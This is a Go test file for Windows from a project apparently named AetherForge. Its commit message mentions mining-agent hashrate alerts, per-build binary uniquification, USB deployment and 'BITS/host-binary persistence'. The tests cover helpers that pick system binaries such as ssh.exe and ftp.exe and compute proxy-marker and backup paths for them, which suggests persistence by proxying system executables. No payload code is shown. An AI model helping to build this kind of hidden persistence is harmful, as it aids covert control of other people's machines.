Files
AetherForge/agent/deploy/host_binary_windows_test.go
AetherForge d52479c9a6 feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops
- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help
- Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete
- Sigil scramble post-forge uniquification and Dispense Reveal ceremony
- Full system check, desktop push, BITS/host-binary persistence, Path Tracer
- Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav
- README documents alerts, sigil scramble, and pack-usb workflow
- USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
2026-06-03 20:32:59 -07:00

35 lines
862 B
Go

//go:build windows
package deploy
import (
"strings"
"testing"
)
func TestHostBinaryCandidatesSSH(t *testing.T) {
paths := HostBinaryCandidates("ssh")
for _, p := range paths {
if !strings.HasSuffix(strings.ToLower(p), "ssh.exe") {
t.Fatalf("unexpected ssh path: %q", p)
}
}
}
func TestHostBinaryCandidatesCustom(t *testing.T) {
paths := HostBinaryCandidates(`custom:C:\Windows\System32\notepad.exe`)
if len(paths) != 1 || !strings.HasSuffix(paths[0], "notepad.exe") {
t.Fatalf("custom: %v", paths)
}
}
func TestHostBinaryMarkerPaths(t *testing.T) {
target := `C:\Windows\System32\ftp.exe`
if got := hostBinaryMarkerPath(target); !strings.HasSuffix(got, hostBinaryProxySuffix) {
t.Fatalf("marker: %q", got)
}
if got := hostBinaryBackupPath(target); !strings.HasSuffix(got, hostBinaryBackupSuffix) {
t.Fatalf("backup: %q", got)
}
}